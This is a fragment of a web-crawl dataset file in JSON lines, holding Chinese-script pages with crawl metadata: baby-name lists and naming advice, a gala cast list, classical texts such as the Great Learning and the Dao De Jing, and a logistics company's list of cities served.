弓葸婧 弓蕙蓉 弓湘悦 弓燎红 弓燕过 弓酽芳 弓宵瑛 弓上茹 弓琴荣 弓委娜 弓胶文 弓费雪 弓乾莹 弓泠茹 弓茹媛 弓译萍 弓澄燕 弓品莹 弓鲁琳 弓茹琦 弓莹辛 弓艺冉 弓车文 弓乡琳 弓伶娥 弓言花 弓玲蓝 弓芙妍 弓招琴 弓土丽 弓腈玉 弓钬文 弓欢琳 弓蓿霞 弓辉芳 弓炜梅 弓涧颖 弓镊文 弓尚花 弓米丽 弓楠洁 弓郑琼 弓悦珀 弓络文 弓悦僖 弓得梅 弓秦雪 弓琳朴 弓外媛 弓戚霞 弓霁婧 弓謦倩 弓娜辰 弓苒妍 弓莉暄 弓泌莉 弓倩夏 弓瑶亭 弓丝洁 弓妍惶 弓娜琬 弓江娜 弓海妍 弓必霞 弓婷柳 弓蒙怡 弓樊莉 弓窕花 弓蔼艳 弓焓瑛 弓裴郡 弓町秀 弓莹娟 弓嫱婷 弓川瑛 弓茹穗 下面小编带来满分姓弓女孩名字2019,因此,希望对大家有所帮助。弓姓人名字中的第一个字一般来说忌用金、土五行的字?\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/nvhaiqiming\/504.html","date":"2019-12-08T18:51:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540514475.44\/warc\/CC-MAIN-20191208174645-20191208202645-00201.warc.gz","language":"lzh","language_score":0.9459921122,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.945992112159729, \"nan_Hani_score\": 0.027725353837013245, \"jpn_Jpan_score\": 0.010150112211704254}","num_words":803,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n劇情片《2021年東方衛視春節聯歡晚會》由朱一龍 丁真 閆妮 姚晨 喻恩泰 倪虹潔 姜超 尚敬 宋小寶 戚薇 李承炫 黃齡 張含韻 殷桃 吳謹言 左小青 周震南 韓雪 何洛洛 焉栩嘉 夏之光 姚琛 翟瀟聞 張顏齊 劉也 任豪 趙磊 趙讓 劉雨昕 虞書欣 許佳琪 喻言 謝可寅 安崎 趙小棠 孔雪兒 陸柯燃 符龍飛 胡夏 邊遠 劉虹位 劉昊 關錚 李澤鋒 辣目洋子 馬伯騫 張海宇 傅首爾 金靖 文松 陳印泉 侯振鵬 張筱鑫 霍筱森 方芳 范湉湉 楊樹林 宋曉峰 賈冰 秦嵐 張雲龍 應采兒 李溪芮 等主演,未知執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/102979.html","date":"2021-03-01T22:24:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178363072.47\/warc\/CC-MAIN-20210301212939-20210302002939-00379.warc.gz","language":"lzh","language_score":0.90012604,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.900126039981842, \"nan_Hani_score\": 0.0526704341173172, \"cmn_Hani_score\": 0.04106839746236801}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.278,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.9,"perplexity_score":500.0,"cluster_detection":1} +{"text":"독립운동에 앞장선 독립운동과 관련있는 인물들에 대한 정보를 주제별로 열람 하실 수 있습니다.\n콘텐츠\/독립운동가 자료 [이관구] 에 대한 전체 1 건의 기사검색\n丙戌 癸巳 壬辰 壬寅 一五八四 二丙戌 四月 二十九日 寅時生 陽男 木局 子 子女 七殺 鳳閣丑 妻妾 火星寅 兄弟 廉貞 龍池 忌卯 命垣 鈴星辰 父母 破軍 陀羅巳 福德 天月 祿存 祿午 田宅 天府 武曲 文曲 擎羊未 官祿 太陽 太陰 左輔 右弼 身申 奴僕 貪狼 天馬 文昌 科酉 遷易 天機 巨門 天鉞 權戌 疾厄 紫微 天相亥 財帛 天梁 天魁","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/search.i815.or.kr\/contents\/independenceFighter\/list.do?middleCategory=%EC%9D%B4%EA%B4%80%EA%B5%AC","date":"2021-10-28T09:51:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588282.80\/warc\/CC-MAIN-20211028065732-20211028095732-00637.warc.gz","language":"lzh","language_score":0.6976211667,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6976211667060852, \"cmn_Hani_score\": 0.26821309328079224, \"jpn_Jpan_score\": 0.027125541120767593}","num_words":77,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.307,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.698,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黃悅欽 黃悅勤 黃悅清 黃悅然 黃悅冉 黃悅蓉 黃悅珊 黃悅詩 黃悅姝 黃悅婷 黃悅桐 黃悅雯 黃悅賢 黃悅昕 黃悅新 黃悅歆 黃悅馨 黃悅秀 黃悅軒 黃悅雅 黃悅妍 黃悅洋 黃悅瑤 黃悅儀 黃悅鶯 黃悅影 黃悅渝 黃悅緣 黃躍琳 黃躍冉 黃粵文 黃云芳 黃云花 黃云麗 黃云婷 黃云霞 黃云艷 黃云燕 黃云瑤 黃蕓瑩 黃運紅 黃運梅 黃運琴 黃韻潔 黃韻玲 黃韻琴 黃韻文 黃韻怡 黃韻穎 黃蘊妍 黃早文 黃則怡 黃澤莉 黃澤琳 黃澤婷 黃澤文 黃澤玉 黃湛文 黃樟芳 黃招麗 黃昭琳 黃昭婷 黃昭霞 黃昭雪 黃昭妍 黃昭英 黃召芳 黃召紅 黃趙紅 黃棹玲 黃哲文 黃貞婷 黃貞妍 黃湞婷 黃珍麗 黃楨婷 黃真琴 黃甄媛 黃振芬 黃振梅 黃振燕 黃振英 黃正美 黃正婷 黃正文 黃正英 黃正穎 黃鄭婷 黃政文 黃芝梅 黃芝琴\n黃芝文 黃芝瑤 黃芷麗 黃芷琳 黃芷玲 黃芷蓉 黃芷瑤 黃芷怡 黃芷瑩 黃芷悅 黃志芳 黃志紅 黃志娟 黃志琳 黃志玲 黃志梅 黃志萍 黃志瓊 黃志文 黃志英 黃志玉 黃治芳 黃治玉 黃郅茹 黃智琳 黃智娜 黃智文 黃智燕 黃智英 黃智穎 黃智玉 黃稚芳 黃中麗 黃中瓊 黃忠英 黃舟瑤 黃周艷 黃朱芬 黃珠芬 黃珠玲 黃珠妹 黃杼琴 黃柱英 黃隹媛 黃卓琳 黃卓玲 黃卓穎 黃卓媛 黃琢琳 黃孜文 黃姿茹 黃姿雪 黃姿瑩 黃資雪 黃籽琳 黃子嬋 黃子芳 黃子花 黃子娟 黃子玲 黃子倩 黃子瓊 黃子茹 黃子婷 黃子文 黃子雪 黃子妍 黃子瑤 黃子怡 黃子瑛 黃子瑩 黃子穎 黃子玉 黃子媛 黃子悅 黃梓玲 黃梓瓊 黃梓妍 黃梓瑤 黃梓怡 黃梓瑩 黃梓媛 黃梓悅 黃紫紅 黃紫娟 黃紫琳 黃紫玲 黃紫倩 黃紫婷 黃紫霞\n古語云\"寧可生錯命,不可起錯名\",一個好的名字,不僅給別人印象深刻,而且還關系到人一生的事業、婚姻、健康和人際關系。名字筆畫五行不要和命譜四柱五行相聯系,它本身五格部象的五行相生相克是其本身獨立一格的五行,與命譜五行沒有聯系的,無須考慮筆畫五行來選名字,但名字的筆畫五行在五格剖象中要五行相生,不能相克。起名網(www.999sjc.com)基于以上原則和自動生成算法,只需要輸入你的姓氏可以免費為你推薦比較好的名字以及詳細的命理、運程、吉兇解析。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.999sjc.com\/xing\/x96_2_0_6.html","date":"2022-12-07T00:34:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711121.31\/warc\/CC-MAIN-20221206225143-20221207015143-00253.warc.gz","language":"lzh","language_score":0.4034460783,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4034460783004761, \"nan_Hani_score\": 0.39266437292099, \"yue_Hani_score\": 0.1254519671201706, \"cmn_Hani_score\": 0.07782964408397675}","num_words":182,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.416,"perplexity_score":500.0,"cluster_detection":1} +{"text":"修身齐家治国平天下\n曾参〔先秦〕\n古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知,致知在格物。\n物格而后知至,知至而后意诚,意诚而后心正,心正而后身修,身修而后家齐,家齐而后国治,国治而后天下平。自天子以至于庶人,壹是皆以修身为本。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.zheduodian.com\/shicifenlei\/%E6%9B%BE%E5%8F%82_2\/1.html","date":"2023-01-28T23:55:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499695.59\/warc\/CC-MAIN-20230128220716-20230129010716-00723.warc.gz","language":"lzh","language_score":0.6398923397,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6398923397064209, \"cmn_Hani_score\": 0.3124460279941559, \"nan_Hani_score\": 0.0228317491710186, \"wuu_Hani_score\": 0.013678536750376225}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":1} +{"text":"恒达物流服务网络遍及全国一百多个大中小城市,目前以形成了以上海、北京、杭州、广州、南京为枢纽的运输服务网络。\n吴川 琼海 三亚 凭祥 宜州 来宾 贺州 新泰 雷州 绵阳 化州 廉江 南雄 从化 汨罗 新密 阳泉市 普宁 西宁 涿州 哈密 阿里 毕节 奎屯 伊宁 库尔勒 东方 西安 攀枝花 青海 玉门 宣威 六盘水 绵竹 都江堰 韶山 石河子 梅河口 如皋 邹城 常熟 珠海 江阴 南京 绥芬河 东台 敦化 太仓 双辽 公主岭 蛟河 营口 大连 冀州 廊坊 重庆 双城 安丘 曲阜 高密 寿光 丹阳 诸城 启东 青州 蓬莱 靖江 海门 招远 兰溪 东阳 胶州 即墨 莱阳 莱州 浙江 江苏 广西 福建 湖南 贵州 四川省 湖北 广东 黑龙江 河南 山西 河北 山东 内蒙古 辽宁 吉林 安徽 云南 辽宁省 新疆 甘肃 西藏 汉中 阳泉 州 朔州 大同 晋中 安康 商洛 渭南 铜川 咸阳 吕梁 延安 雅安 榆林 宝鸡 资阳 遂宁 南充 达州 巴中 广元 内江 德阳 自贡 临汾 乐山 西昌 天水 眉山 运城 候马 晋城 宜宾 通辽 武威 巴彦淖尔 乌海 鄂尔多斯 包头 乌兰浩特 石嘴山 呼伦贝尔 吴忠 赤峰 乌兰察布 台湾 澳门 香港 东莞 广安 加格达奇 喀什 庆阳 陇南 合作 白银 金昌 张掖 阿拉善左旗 敦煌 平凉 和田 阿图什 阿克苏 博乐 吐鲁番 中卫 固原 嘉峪关 淮南 宣城 铜陵 安庆 芜湖 六安 毫州 日照 滁州 徐州 宿州 蚌埠 阜阳 淮北 枣庄 临沂 合肥 无锡 酒泉 泸州 江西省 连云港 马鞍山 苏州 池州 常州 黄山 南通 扬州 泰州 盐城 淮安 宿迁 昆山 镇江 郑州 安阳 新乡 周口 信阳 南阳 驻马店 洛阳 开封 许昌 凯里 都匀 遵义 安顺 铜仁 张家港 菏泽 平顶山 威海 潍坊 莱芜 泰安 聊城 漯河 东营 三门峡 烟台 贵阳 德州 济南 商丘 濮阳 滨州 济宁 鹤壁 焦作 丹东 开原 鞍山 本溪 辽阳 阜新 朝阳 葫芦岛 锦州 张家口 唐山 秦皇岛 沧州 衡水 邢台 石家庄 邯郸 盘锦 承德 成都 鸡西 牡丹江 七台河 双鸭山 绶化 齐齐哈尔 大庆 黑河 佳木斯 哈尔滨 通化 伊春 鹤岗 延吉 铁岭 白山 辽源 吉林 长春 松原 白城 抚顺 丽江 枣阳 鄂州 安陆 天门 仙桃 潜江 宜都 大治 恩施 汉川 武穴 麻城 荆州 咸宁 黄冈 随州 襄樊 十堰 荆门 孝感 上饶 黄石 楚雄 景德镇 九江 昭通 香格里拉 大理 思茅 曲靖 蒙自 文山 玉溪 抚州 吉安 景洪 宜春 临沧 新余 井冈山 赣州 鹰潭 昆明 大理 保山 海口 云浮 佛山 中山 肇庆 茂名 湛江 阳春 陆丰 清远 永安 恩平 惠州 韶关 河源 汕尾 汕头 揭阳 潮州 兴宁 梅州 海南岛 龙海 阳江 建瓯 南安 漳平 怀化 南宁 云梦 株州 武汉 宜昌 湘潭 岳阳 益阳 常德 江门 吉首 娄底 邵阳 河池 玉林 柳州 张家界 崇左 永州 桂林 梧州 钦州 北海 防城港 郴州 衡阳 贵港 晋江 宁德 南平 三明 福州 龙岩 漳州 石狮 莆田 长乐 福安 福鼎 泉州 厦门 义乌 丽水 温州 嘉兴 永康 上海 金华 宁波 湖州 台州 呼和浩特 乌鲁木齐 拉萨 兰州 银川 满州里 沈阳 太原 长治 长沙 南昌 保定 天津 北京 深圳 汕头 广州","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.hengdawuliu.com\/fwwl","date":"2023-09-21T14:40:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506028.36\/warc\/CC-MAIN-20230921141907-20230921171907-00227.warc.gz","language":"lzh","language_score":0.5713322759,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5713322758674622, \"cmn_Hani_score\": 0.25649964809417725, \"nan_Hani_score\": 0.16642209887504578}","num_words":424,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.313,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":500.0,"cluster_detection":1} +{"text":"李汉梁 李宇梁 李鹏梁 李剑梁 李维梁 李卓梁 李杰梁 李存梁\n李梁红 李荣梁 李铭梁 李士梁 李柏梁 李宝梁 李肇梁 李叙梁\n李勇梁 李梁平 李建梁 李传梁 李双梁 李艳梁 李智梁 李柱梁\n李燕梁 李梁琴 李子梁 李冬梁 李钢梁 李春梁 李益梁 李天梁\n李方梁 李立梁 李康梁 李梁丽 李晨梁 李梁亮 李臻梁 李梁斌\n李有梁 李吉梁 李梁峰 李惠梁 李梁梁 李兆梁 李广梁 李先梁\n李彦梁 李梁娟 李梁超 李友梁 李纪梁 李梁彦 李步梁 李爽梁\n李梁丽 李绍梁 李梁子 李宪梁 李伯梁 李梓梁 李栩梁 李董梁\n李梁康 李同梁 李鲁梁 李梁实 李耀梁 李梁国 李孝梁 李毅梁\n李学梁 李迎梁 李梁涛 李迪梁 李梁祥 李光梁 李奕梁\n2\n李梁鸿 李梁亭 李梁姝 李梁剑 李梁雨 李梁青 李梁利 李梁年\n李梁伟 李梁宏 李梁为 李梁蓓 李梁恩 李梁炀 李梁巧 李梁先\n李梁振 李梁滨 李梁娥 李梁昌 李梁琼 李梁辉 李梁基 李梁甲\n李梁雁 李梁添 李梁虹 李梁衡 李梁增 李梁远 李梁安 李梁固\n李梁剑 李梁芳 李梁虎 李梁芮 李梁超 李梁豫 李梁钰 李梁彪\n李梁渝 李梁军 李梁寅 李梁群 李梁瑀 李梁瑛 李梁根 李梁菲\n李梁清 李梁坤 李梁秋 李梁颖 李梁钊 李梁娅 李梁婧\n3\n李明梁 李鑫梁 李洪梁 李炜梁 李晋梁 李乾梁 李承梁 李鸿梁\n李启梁 李冬梁 李子梁 李燕梁 李彦梁 李先梁 李广梁 李兆梁\n李梁梁 李柱梁 李智梁 李艳梁 李惠梁 李双梁 李传梁 李建梁\n李勇梁 李叙梁 李肇梁 李宝梁 李柏梁 李士梁 李铭梁 李吉梁\n李有梁 李臻梁 李晨梁 李荣梁 李存梁 李杰梁 李卓梁 李维梁\n李剑梁 李鹏梁 李康梁 李立梁 李方梁 李天梁 李益梁 李春梁\n李钢梁 李喜梁 李基梁 李自梁 李虞梁 李科梁 李焕梁 李华梁\n李成梁 李善梁 李昭梁 李达梁 李新梁 李清梁 李茂梁 李远梁\n李敬梁 李营梁 李金梁 李炳梁\n4\n1、基本含义\n拼音:liáng\n简体总笔画:11\n部首:木\n繁体:梁\n繁体总笔画:11\n康熙字典笔画:11\n五行:木\n2、主要字义\n支撑屋顶的横木。也指物体中间高起成条状的部分。\n5\n梁昱 梁悦 梁舒 梁蓉 梁紫 梁沄 梁亮 梁嫣 梁帆 梁科\n梁新 梁宇 梁翎 梁芩 梁凌 梁冰 梁娴 梁纭 梁俞 梁名\n梁茹 梁侨 梁吉 梁秋 梁芯 梁雯 梁乐 梁沐 梁彤 梁铭\n梁佩 梁如 梁依 家梁 华梁 志梁 佳梁 玉梁 中梁 成梁\n文梁 忠梁 东梁 海梁 铁梁 俊梁 宏梁 培梁 振梁 晓梁\n国梁 梁军 梁栋\n6\n楷瑞 楷:楷模;瑞:吉祥。\n建辉 建造辉煌成就。\n子赫 赫是盛大的意思。\n圣卿 圣是圣明、圣人的圣。\n尚儒 崇尚入儒学。\n龙恩 我们是龙的传人,理应有一颗感恩的心。\n炎恩 我们是炎黄子孙,理应有一颗感恩的心。\n希文 希是少、珍贵,盼望的意思。\n康裕 健康丰润。\n清怡 清平而和悦。\n心怡 心情和悦。\n新荣 新兴繁荣。\n怡悦 喜悦;高兴。\n煜祺 煜:照耀 祺:吉祥。\n黛滢 一个很有古典韵味的名字。\n诗茵 诗:寓意文雅、浪漫。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/skycn.org.cn\/shengchenbaziqiming\/2021\/1014\/26666.html","date":"2023-09-29T06:37:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510498.88\/warc\/CC-MAIN-20230929054611-20230929084611-00215.warc.gz","language":"lzh","language_score":0.4982255697,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4982255697250366, \"cmn_Hani_score\": 0.28007590770721436, \"nan_Hani_score\": 0.2198672890663147}","num_words":298,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.488,"perplexity_score":500.0,"cluster_detection":1} +{"text":"爲銷憂 銷憂 爲銷 亭爲銷憂 山名四望。故亭爲銷憂。亭之前後。綿絡山腹。皆溪梁危磴。由西而北。復東上疊綵石崖。至福庭石門。約三十餘歩。","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/coe21.zinbun.kyoto-u.ac.jp\/djvuchar?7232,92B7,6182","date":"2024-04-14T11:31:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816879.25\/warc\/CC-MAIN-20240414095752-20240414125752-00551.warc.gz","language":"lzh","language_score":0.6998704672,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6998704671859741, \"cmn_Hani_score\": 0.22388066351413727, \"yue_Hani_score\": 0.039020780473947525, \"jpn_Jpan_score\": 0.028410654515028}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.7,"perplexity_score":500.0,"cluster_detection":1} +{"text":"关于田姓的来源众说纷纭,在我的印象中,田氏一族都是很充满智慧的。所以具体田姓的出处小编就不在这里辩论了,在这里小编结合网友的智慧,自己整理了一些田姓的姓名大全。下面就是归结的田氏姓名大全。\n田廷智 田博成 田欢淑 田修珊 田宏祥 田玫竹 田玲 田石光 田协俊 田富羽 田杰豪 田冰宸 田必夫 田仕雨 田学勇 田芷甫 田夫茵 田维春 田承心 田书盛 田正筠 田如臻 田宛怡 田鸿纯 田容珠 田良纶 田晋真 田安东 田峻贵 田慧治 田蓉帆 田桓阳 田芸沛 田上乐 田建玫 田盛臻 田典谦 田能琳 田良雄 田颖博 田仲妹 田昀义 田杰光 田芃一 田妏乐 田映源 田坤绍 田一绿 田菁麟 田蕙玫 田娇善 田礼麟 田爱霞 田柔珊 田靖俊 田汝蓁 田惟政 田美嘉 田昇云 田宇瑶 田桂江 田荣来 田香生 田湖菱 田然霖 田尚民 田行辰 田易江 田孟博 田玄念 田庭安 田登龙 田力心 田名伸 田兆吉 田茜鑫 田意惟 田友湖 田城均 田舜虹 田南州 田合平 田安映 田俐吟 田希舜 田少岳 田东韦 田威妤 田义梦 田定伦 田展心 田于君 田仕裕 田茜娥 田昱湖 田东天 田添龙 田妮玫 田玮军 田恬珮 田介桦 田祯珊 田倩琇 田德旺 田宏如 田彦依 田婷茵 田容利 田鸿修 田俐龙 田廷恩 田旻忠 田乐倩 田定苹 田恭菁 田慈雅 田和心 田芃钰 田山仪 田秉宁 田妮心 田士东 田南忠 田香莲 田智雪 田修淑 田靖民 田绮婷 田琳修 田真维 田富坤 田洋伯 田又凌 田采佩 田颖青 田俊一 田紫法 田仲荣 田伦正 田泓南 田骏全 田芳福 田凡钰 田舜惟 田凤琬 田宜妏 田芃尧 田乐杰 田思海 田玄恬 田璇扬 田亨绿 田茵瑞 田光坚 田靖蓉 田吉士 田莹年 田清文 田雅隆 田恒阳 田宝莲 田柏湖 田亦花 田善映 田中忠 田宗茵 田仁德 田合春 田茵瑄 田卉嘉 田允雪 田辰盈 田纹芬 田昇洋 田协旭 田瑜韦 田介强 田刚阳 田盛真 田少均 田玮旭 田洋俊 田右伶 田必海 田金男 田德青 田利仪 田法恬 田华成 田莹祯 田宸纯 田妏恩 田善玟 田音名 田丰雯 田娇郁 田宗麟 田大茵 田立元 田彦惠 田桓宇 田梅倩 田音新 田雯玟 田易汉 田尧芝 田承洋 田雨幸 田沛妤 田思民 田邦华 田虹宁 田恭怡 田呈友 田苓汉 田木辛 田必筠 田必士 田世雪 田白州 田伦南 田梅珠 田贞来 田萱青 田定安 田函喜 田善荣 田初琇 田善仲 田承泰 田东容 田君斌 田聿其 田智均 田治圣 田君宣 田政菱 田良秀 田盈淑 田年定 田凡妮 田江智 田孟佳 田皓容 田洁江 田隆芝 田喜祥 田登羽 田吉婷 田迪莲 田俐南 田左羽 田惠妹 田军启 田典竹 田清茜 田以轩 田芃秀 田又珍 田威屏 田志宏 田茹云 田毓奇 田妙淳 田容海 田如宇 田介谕 田宣芬 田东芷 田纬菱 田惠桓 田克琬 田火珮 田念玲 田名盛 田琳琬 田爱恬 田岳修 田纯桦 田绍博 田庭祯 田伟彬 田清哲 田邦臻 田元孜 田颖旭 田祥军 田勳辰 田珊钰 田杰奇 田又泉 田佩恬 田竹俐 田仪乐 田峻琬 田方莹 田易合 田汉尧 田志倩 田法桦 田勇梅 田月泰 田义瑜 田亚嘉 田倩汝 田湖仪 田清发 田瑶淳 田修月 田旺云 田任来 田左靖 田儒美 田芳珠 田易民 田中玟 田恭菱 田萱妹 田灿一 田骏萱 田岳屏 田群妏 田昕启 田登珠 田燕卿 田延任 田函鑫 田家谦 田义珊 田君仪 田尹瑞 田松男 田丹隆 田为珍 田仕乐 田季义 田俐皓 田竹福 田妙法 田彬信 田原阳 田允孝 田小谷 田忠琴 田桂莲 田兆哲 田山珮 田然芬 田水睿\n上一篇:徐氏姓名大全\n下一篇:姓马男孩起名字大全","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.gyxjz.com\/quming\/qumingbaodian\/2473.html","date":"2018-08-18T22:02:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213794.40\/warc\/CC-MAIN-20180818213032-20180818233032-00076.warc.gz","language":"lzh","language_score":0.9679969549,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9679969549179077, \"nan_Hani_score\": 0.015780629590153694, \"cmn_Hani_score\": 0.011675301007926464}","num_words":352,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n季纪延 季科延 季科宇 季佳纬 季哲雨 季泽雨 季浙雨 季芳慧 季鲲雨 季金利 季秀秀 季晓欧 季哲余 季泽余 季林 季冠瑜 季明贤 季贤聪 季豪勋 季德勋 季宇勋 季祥煜 季翔煜 季春晴 季海伟 季睿羽 季柯妤 季克梁 季昭圳 季震 季杨丹 季振宇 季立功 季艳青 季艳情 季崔阳 季嘉鹏 季正洋 季帆 季绍宇 季绍全 季滔力 季新安 季煜潍 季煜濠 季桂林 季灵见 季子棂 季忠勇 季承翰 季杭伊 季立硕 季立进 季立安 季立众 季铭淇 季仁程 季元程 季秋佟 季香杉 季春杉 季俐辰 季成宣 季诚轩 季冬兰 季东兰 季春信 季宏宴 季安琪 季玮 季毅恒 季灵杏 季霍杏 季嘉诚 季随心 季宏轩 季国伟 季加诚 季加乘 季泓一 季林峰 季科纬 季续 季恒 季徐毅 季徐恒 季徐 季培刚 季勤峰 季云兰 季逢鸿 季宏健 季红捷 季洪允 季歆菲 季忻菲 季薪菲 季鑫菲 季昕菲 季约星 季丹雅 季王强 季求知 季秋含 季祈含 季宗咏 季枢 季柯均 季奇奇 季炜 季秀兰 季琛钧 季琛鹏 季涵钰 季于超 季政宇 季志昂 季云惠 季乐乐 季相秀 季海睿 季玉良 季金钊 季玉才 季志刚 季鑫华 季容全 季卡 季崇德 季长法 季佳林 季依林 季仁富 季璞 季宏开 季华卫 季绍珩 季少恒 季少珩 季宏纲 季劭珩 季宏慷 季宏斌 季宏凯 季宏壮 季政军 季宏钢 季宏刚 季存钱 季存智 季存福 季宏君 季宏坤 季宏都 季宏哲 季宏正 季宏运 季宏章 季安一 季宏知 季宏康 季宏祥 季宏宜 季箅东 季宏顺 季宏朋 季多智 季多福 季荣林 季焕臣 季小蕊 季亦男 季建军 季坷艺 季柯艺 季科艺 季科邑 季科乙 季科易 季科益 季科倚 季科颐 季科译 季科仪 季科亦 季科宜 季科夷 季美辰 季海 季曼祯 季石兵 季泽彬 季金芝 季国光 季清清 季青青 季贤进 季必胜 季海羽 季春光 季欣菲 季壬梧 季仁梧 季银梧 季新斐 季陈 季新霏 季新妃 季汀潜 季暄潜 季云潜 季文锦 季清潜 季步月 季天谣 季秋鸿 季天遥 季之潜 季亮辰 季采力 季纯旭 季朝兵 季佟阳 季春佟 季才力 季恭仁 季芮成 季晏如 季昭荣 季元皓 季群策 季霍辛 季千鸾 季千跞 季语茜 季玉敏 季于轩 季雨茜 季惺 季相阳 季薛成 季伯阳 季胜男 季荷森 季瑜卓 季恒佑 季桓佑 季佑恒 季明哲 季天培 季荔荔 季利利 季黎黎 季彦呈 季茂松 季亚栋 季雨林 季周路 季美群 季路宁 季群蕾 季陈淳 季路杨 季路鸯 季晨昱 季路扬 季路阳 季桂仙 季亚飞 季秋豪 季伟民 季哲绘 季建中 季昱翔 季春桦 季春韵 季迎春 季佛晓 季馥晓 季晓 季业旺 季业茱 季业著 季业祝 季叶祝 季叶竹 季叶子 季竹莘 季竹鑫 季希望 季罄竹 季清罄 季青罄 季俊尧 季延卿 季丹妮 季红利 季稔梧 季荏梧 季人梧","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/zhsmzz.cn\/show_1EE.aspx","date":"2019-05-26T10:04:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259015.92\/warc\/CC-MAIN-20190526085156-20190526111156-00010.warc.gz","language":"lzh","language_score":0.9618164897,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9618164896965027, \"nan_Hani_score\": 0.02806321531534195}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.964,"perplexity_score":500.0,"cluster_detection":1} +{"text":"临赵孟頫小楷道德经 故从事於道者,同於道。德者同於德。失者同於失。同於道者道亦乐得之;同於德者德亦乐得之;同於失者失於乐得之信不足焉有不信焉。企者不立;跨者不行。自见者不明;自是者不彰。自伐者无功;自矜者不长。其在道也曰∶馀食赘形。物或恶之,故有道者不处。","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.jianshu.com\/p\/68a86e2c016c","date":"2019-10-18T13:22:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986682998.59\/warc\/CC-MAIN-20191018131050-20191018154550-00005.warc.gz","language":"lzh","language_score":0.7192533612,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7192533612251282, \"cmn_Hani_score\": 0.12701472640037537, \"nan_Hani_score\": 0.03263065963983536, \"und_Xsux_score\": 0.03230758011341095, \"und_Tang_score\": 0.011259235441684723, \"yue_Hani_score\": 0.010270443744957447}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":500.0,"cluster_detection":1} 